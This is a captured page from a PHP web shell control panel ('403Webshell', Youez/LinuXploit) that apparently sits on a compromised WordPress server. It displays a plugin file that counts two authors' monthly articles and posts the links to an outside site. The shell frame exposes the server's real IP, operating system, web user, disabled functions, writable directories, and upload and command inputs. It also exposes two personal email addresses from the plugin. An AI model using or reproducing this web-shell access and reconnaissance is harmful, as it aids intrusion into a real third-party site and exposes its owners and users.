403Webshell
Server IP : 217.11.249.137  /  Your IP : 216.73.216.64
Web Server : Apache
System : FreeBSD triton.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-a3d32f9e6 GENERIC amd64
User : www ( 80)
PHP Version : 8.1.32
Disable Function : ini_restore, show_source, socket_select, socket_create_listen, socket_create_pair, socket_listen, socket_strerror, shell_exec, proc_nice, proc_terminate, readlink, symlink, link, pfsocketopen, ini_alter, dl, pcntl_exec, pcntl_fork, pcntl_signal, pcntl_waitpid, pcntl_wexitstatus, pcntl_wifexited, pcntl_wifsignaled, pcntl_wifsignaled, pcntl_wifstoped, pcntl_wifstopsig, pcntl_wtermsig, socket_accept, socket_bind, socket_create, socket_create_listen, popen, zlib_decode
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /data/www/26528/proliving_cz/www/wp-content/plugins/souhrn-clanku/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /data/www/26528/proliving_cz/www/wp-content/plugins/souhrn-clanku/index.php
<?php
/*
Plugin Name: Souhrn Článků
Description: Sečtení a následná správa kolik jaký uživatel napsal článků
Author: Martin Vamberský
Version: 0.1
*/
global $wpdb;


function souhrn_clanku_cron() {


  $site = $_SERVER['SERVER_NAME'];

  $users = Array("kotikv@seznam.cz", "katka@svet-zeny.cz");
  
  $full = Array();
  
  $datum_rok = date('Y', strtotime('-10 days'));
  $datum_mesic = date('m', strtotime('-10 days'));
  foreach( $users as $user ){
  
    $u = get_user_by( 'email', $user );
    $userId = $u->ID;
    
  $args = array(
    'ignore_sticky_posts' => true,
     'author' => $userId,
    'post_type'  => 'post',
    'posts_per_page' => 100,
    'date_query' => array(
      array(
          'year'  => $datum_rok,
          'month' => $datum_mesic
      )
      )
  );
  $my_posts = get_posts( $args );
  
  $prispevku = count($my_posts);
  
  $clanky1 = Array();
  
     foreach ( $my_posts as $p ){
  
      $odkaz = get_permalink( $p->ID );
      array_push( $clanky1, $odkaz );
  
     }
  
  
  
    array_push($full, array("web" => $site, "autor" => $user, "datum" => array("rok" => $datum_rok, "mesic" => $datum_mesic), "urls" => $clanky1) );
  
  }

  
  $full = json_encode($full, true);
  
  $post = $full;
  
  $ch = curl_init('https://prvni-zpravy.cz/souhrn-clanku/save.php');
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  
  $response = curl_exec($ch);

  curl_close($ch);


}
add_action( 'souhrn_clanku_cron', 'souhrn_clanku_cron' );

function souhrn_clanku_cron_aktivace() {
  if ( ! wp_next_scheduled( 'souhrn_clanku_cron' ) ) {
    wp_schedule_event( mktime(0, 0, 0, date('m'), 4, date('Y')), 'monthly', 'souhrn_clanku_cron' );
  }
}
register_activation_hook( __FILE__, 'souhrn_clanku_cron_aktivace' );

Youez - 2016 - github.com/yon3zu
LinuXploit